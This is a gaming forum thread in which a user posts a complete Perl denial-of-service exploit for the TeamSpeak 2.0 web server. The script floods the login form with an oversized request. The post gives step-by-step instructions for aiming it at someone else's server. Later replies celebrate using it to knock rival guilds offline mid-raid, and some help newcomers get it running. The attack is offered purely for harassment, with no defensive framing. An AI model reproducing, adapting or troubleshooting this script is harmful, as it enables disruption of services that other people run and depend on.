Crash a TeamSpeak Server

[Cypher]

I figured this belonged in here because it is WoW related given that TS is one of the main programs people use when raiding.

So, ever had the urge to be a massive dick? Well, now you can satisfy that urge, by crashing someone's TS server.

Required Knowledge:
Perl (http://www.activestate.com/Products/activeperl/)
IP/Port of TS Server
Common Sense

Instructions:
Copy+Paste the exploit code into the file "teamspeak.pl"
Change the target IP and port to that of the TS server you want to crash
Execute the script
Proceed to lol as the server dies

#!/usr/bin/perl

# TeamSpeak 2.0 (Windows Release) Remote D0S Exploit by Yag Kohha (skyhole [at] gmail.com)
# Vendor URL: http://www.goteamspeak.com/
# TeamSpeak WebServer has no tcp session expire and no checks for incoming values length.
# TODO:
# Edit $target value
# Run script
# CPU 100%, Memory up for 1.2 Gb per one attack session.
# Greetz: str0ke & milw0rm proj

use IO::Socket;

$target = 'xxx.xxx.xxx.xxx';
$port_tcp=14534;

$buffer_ascii= 'A' x 0xc00000;
$buffer_dig= '659090';
$req = "username\=$buffer_ascii\&password\=$buffer_ascii\&serverport\=$buffer_dig\&subm it\=Login";
$uagent = 'Mozilla 5.0';
my $res;
my $tmp;

print "\nStarting D0S\n\n";
my $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$target", PeerPort=>"$port_tcp") or die "\n Could not connect to host\n\n";

print $sock "POST /login.tscmd HTTP/1.1\r\n";
print $sock "Host: ".$target."\r\n";
print $sock "User-Agent: ".$uagent."\r\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
print $sock "Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
print $sock "Accept-Encoding: gzip,deflate\r\n";
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
print $sock "Connection: close\r\n";
print $sock "Referer: http://".$target."/slogin.html\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Content-Length: ".length($req)."\r\n\r\n";
print $sock $req;
print $sock "\n";

while ( $res = <$sock> ) {
$tmp.= $res;
}
print $tmp;
close($sock);

# milw0rm.com [2007-07-20]

[Dragonshadow]

Lol! I have no idea what this means but it is cool :P.

I'll have to try it sometime.

[sineater213]

omg this is such a good prank in my guild we have a team A and B and we are very competitive so when A is doing a boss BAM! dced

[Cypher]

omg this is such a good prank in my guild we have a team A and B and we are very competitive so when A is doing a boss BAM! dced

See, that's what the spirit of being an arsehole is all about.

[Marlo]

haha, you use milw0rm? :P

[Saint-Pasdoy]

ewally to be true, i dont understand :P. i click on the link and i must downlaod what? afetr i downloaded this, what i do ? u talk about a code, this is the code a the end of ur post?

[Cypher]

haha, you use milw0rm? :P

RSS feeds ftw.

ewally to be true, i dont understand :P. i click on the link and i must downlaod what? afetr i downloaded this, what i do ? u talk about a code, this is the code a the end of ur post?

Download and install Perl, edit and run script. It's pretty simple.

[The Mars Volta]

Good find, ill use it

[piller]

tried it while friendguild was raiding. funny as hell just like the ts-fakeplayer

[killerxxx92]

Pearl costs $$$ and where is the file to put the code into?

+rep if u help me to make it work (:

Thanks

[piller]

open notepad and paste the text above. go to "file" "save as" change the "text" to "all files" at the bottom in the "save as" window.
name the file teamspeak.pl
there you go

[T@rget]

Heya, when i start the DOS it just says Starting DOS that's all

[piller]

start it in console. you should get errormessage. and with that you know what might be wrong

[Saint-Pasdoy]

same prob for me

[killerxxx92]

Please! Help the noobs!

Ive done all this but all it says is: "Starting in DOS"... And then it vanishes